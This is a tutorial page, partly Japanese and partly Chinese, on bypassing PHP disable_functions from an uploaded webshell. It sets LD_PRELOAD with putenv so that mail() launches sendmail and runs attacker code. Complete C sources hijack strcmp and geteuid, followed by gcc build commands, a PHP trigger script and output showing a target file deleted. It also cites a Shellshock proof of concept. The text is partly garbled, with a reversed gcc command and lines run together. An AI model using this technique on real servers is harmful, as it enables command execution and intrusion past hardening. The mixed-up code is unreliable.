ホームページ >バックエンド開発 >PHPチュートリアル >環境変数 LD_PRELOAD を使用して php disable_function をバイパスし、システム コマンドを実行します
ペネトレーションテストを行う際に、比較的セキュリティが優れているサーバーに遭遇した場合、さまざまなルートから PHP タイプの Web シェルを入手すると、実行できないという困惑に直面することがあります。このタイプのサーバーではコマンド実行機能に対する予防措置が講じられており、これによりその後の侵入アクティビティが停止されるためです。著者はここでバイパスのアイデアを共有しており、実際のテストで役立つことを願っています。
過酷な環境で PHP によって設定される disable_function は次のとおりです:
多くの情報を検索した結果、この場合、/proc/self/mem 内の got を変更してライブラリ関数呼び出しをハイジャックし、PHP デシリアライゼーションのメモリ破損の脆弱性を悪用するなど、システム コマンドを実行する方法がいくつかあることを著者は発見しました。ただし、これらの方法は使用するのが難しく、まずメモリ オフセット アドレスとその他の知識ポイントを理解し、デバッグ用に同じプラットフォームを構築する必要があります。一般に、セキュリティ設定ではユーザーのファイル権限が厳密に制限され、open_basedir が設定されます。mem などのファイルを読み取る機会はなく、悪用することは困難です。
それでは、他に方法はありますか? putenv および mail 関数は、システムに bash の脆弱性がパッチされていない場合、インターネットで提供される POC (http://www.exploit-db.com/exploits/35146/) を使用することで簡単に回避できます。
この POC の一般的なアイデアは、putenv を使用してカスタム関数を含む環境変数を設定し、メール関数を通じてそれをトリガーすることです。メール関数がトリガーされる理由は、メール関数の実行中に、システムに bash 脆弱性がある場合、PHP がシステム コマンド実行関数を呼び出して実行するためです。悪質なコード。しかし、通常、このような脆弱性に対しては、セキュリティ意識の高いオペレーターがパッチを適用します。
それでは、PHP のメール関数が実行中にデフォルトでシステム プログラム /usr/sbin/sendmail を呼び出し、sendmail プログラムをハイジャックして、それをトリガーすることができれば、目的を達成できます。目標。では、Web シェル層でそれをハイジャックする方法はあるのでしょうか? 環境変数 LD_PRELOAD が簡単で実用的な方法を提供します。
0x03 LD_PRELOAD ハック
ルーチン: verifypasswd.c
#!c#include <stdio.h>#include <string.h>int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}プログラムは非常に単純で、受信した文字列が「password」と等しいかどうかを判断することに基づいて、2 つの異なる結果が得られます。 比較には、標準の C 関数 strcmp 関数を使用します。これは、同じ名前の関数を書き換えてみましょう:
#!c#include <stdio.h>#include <string.h>int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}動的共有ライブラリにコンパイルします:
#!shell$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.soLD_PRELOAD を介して設定します。他の人によって使用されます。それを呼び出すプログラムが最初にロードされます:
#!shell$ export LD_PRELOAD="./hack.so"指定されたルーチンを実行します:
#!shell$ ./verifypasswd abcd $ Correct Password!任意の文字列を入力すると、パスワードが正しいことがわかります。これは、作成したプログラムが最初にロードされることを示しています。ランニング。これは、プログラムが動作中に標準ダイナミック リンク ライブラリ関数を呼び出す場合、LD_PRELOAD を使用して、ハイジャックを達成するために最初に作成したプログラムをロードするように設定する機会があることを意味します。
0x04 実践テスト
#!shell[[email protected]Desktop]$ readelf -Ws /usr/sbin/sendmail Symbol table '.dynsym' contains 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version 13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 19: 0000000000000000 0 FUNC WEAK DEFAULT UND[email protected]_2.2.5 (2) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]
_2.2.5 (2) ......
从中选取一个合适的库函数后我们就可以进行测试了:
我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。
编写hack.c:
#!c#include <stdlib.h>#include <stdio.h>#include <string.h> void payload() { system("rm /tmp/check.txt");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
#!shell$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:
#!php<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]
","","","",""); ?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
#!shell[[email protected]Desktop]$ touch /tmp/check.txt [[email protected] bin]$ ./php mail.php sendmail: warning: the Postfix sendmail command has set-uid root file permissions sendmail: warning: or the command is run from a set-uid root process sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions sendmail: fatal: setgroups(1, &500): Operation not permitted [ [email protected]
bin]$ cat /tmp/check.txt cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。